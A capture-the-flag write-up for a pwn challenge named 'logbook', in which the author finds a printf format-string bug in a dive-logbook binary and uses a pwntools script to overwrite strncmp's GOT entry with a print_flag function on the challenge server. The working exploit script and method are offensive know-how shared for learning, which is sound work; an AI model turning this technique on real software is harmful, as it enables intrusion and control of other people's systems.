logbook

by xlr8or / xlr8or

Tags: got-overwrite format-string pwn

Rating:

logbook (pwn)

Writeup by: xlr8or

As part of this challenge we get an x86 ELF binary, not stripped. The binary has stack canaries, but no PIE and only partial RELRO.

`main` only calls `ignore_me` (which is a function to setup a kill timer) and `logbook`. Let's deconstruct what happens bit by bit.

```
gen_pass(&local_98,0x10);
puts((char *)&local_98);
puts("| ---------------------------------------- |");
puts("| >>> S.C.U.B.A.    Diving    logbook <<<  |");
puts("| ---------------------------------------- |");
puts("|            VERSION 3.0-SKPR              |");
puts("| _____________________________________    |\n");
```

- Here some sort of password is generated, and then output to stdout (how secure).
- Then we see the banner is printed

```
__s = malloc(0xc);
memset(__s,0,0xc);
memset(local_78,0,100);
puts("Dive date:");
__isoc99_scanf("%11s",__s);
puts("Dive location:");
__isoc99_scanf("%99s",local_78);
```

- Some memory is allocated for the dive date, and the date is read into it
  - 12 bytes are allocated and 11 bytes are read, so no vulnerabilities here
- Some memory is allocated for the dive location, and the location is read into it
  - again 100 bytes allocated and 99 read, no problems

```
puts(" _____________________________________");
puts("|               SUMMARY               |");
puts("|_____________________________________|");
printf("DATE: %s\n",__s);
printf("LOCATION: ");
printf(local_78);
putchar(10);
record_logs(&local_98);
```

- A banner is printed with the summary
- The date is echoed back to the user
- The location is echoed back to the user
  - however notice this is different from the previous call, how `date` was printed
  - since the user input here is directly passed to `printf` we have a **format string** vulnerability here

Since we have also established that the binary has partial RELRO only, I decided to go for a GOT overwrite here. Another important finding is that there is a built-in function to the binary called `print_flag`.

Therefore here is the plan of attack:

1. Get to the location input prompt while providing dummy values, they don't matter
2. Using the format string vulnerability we provide input such that we overwrite a pointer in the GOT with the `print_flag` function.
3. Progress the application to the point where the function associated with the pointer we overwrote is called, and get the flag.

First let's pick the pointer that we want to overwrite. My first choice was `putchar`, since it's right after out exploit it executed, and it is not called before, therefore the binary will surely load the address from the GOT.

However the address of `putchar` in the GOT is located at address `0x404020`, which is problematic, since we need to send this value through a `scanf` call, but `0x20` is a space, therefore it will stop reading user input. Therefore I looked for another candidate.

In `record_logs` we can find a call to `strncmp`, which is also the first call to this function. Checking the address in the GOT, it is at `0x404028`, this contains no bytes that would go through `scanf`, therefore I have decided to go with this function.

Most of the format string exploitation was fully automated thanks to pwntools, only finding the right offset for a formatter we control was tricky, since per socket we only get to execute one format string vuln, therefore some code was required to restart the connection.

However once I had the offset, it was enough to just make a single connection. See the python script below for exploitation details:

```
from pwn import *

rem = True
connstr = 'rumble.host 20776'
binary_path = './binary'
context.clear(arch = 'amd64')

elf = ELF(binary_path)

p = None
if not rem:
    p = process(binary_path)
else:
    parts = connstr.split(' ') if ' ' in connstr else connstr.split(':')
    ip = parts[0]
    port = int(parts[1])
    p = remote(ip, port)

p.sendlineafter(b'date:', b'3')

# def send_payload(payload):
    # p = process(binary_path)
    # p.sendlineafter(b'date:', b'3')
    # print('called')
    # p.sendlineafter(b'location:', payload)
    # p.recvuntil(b'LOCATION: ')
    # r = p.recvline()[:-1]
    # p.kill()
    # return r

# print(FmtStr(execute_fmt=send_payload).offset)
```

```
# # => 12

payload = fmtstr_payload(12, {elf.got.strncmp: elf.symbols['print_flag']})
print(hex(elf.got.putchar))
print(hex(elf.symbols['print_flag']))
print(len(payload), payload)
input('.')
p.sendlineafter(b'location:', payload)
p.interactive()
```

The commented code was used to determine the first argument to `fmtstr_payload`, the offset of the formatter we have control of.

The `fmtstr_payload` function will construct a payload which will overwrite the address we have specified (`elf.got.strncmp`) with the address of the `print_flag` function.

Using this script we can get the flag from the binary and win the $100 bet :)

Comments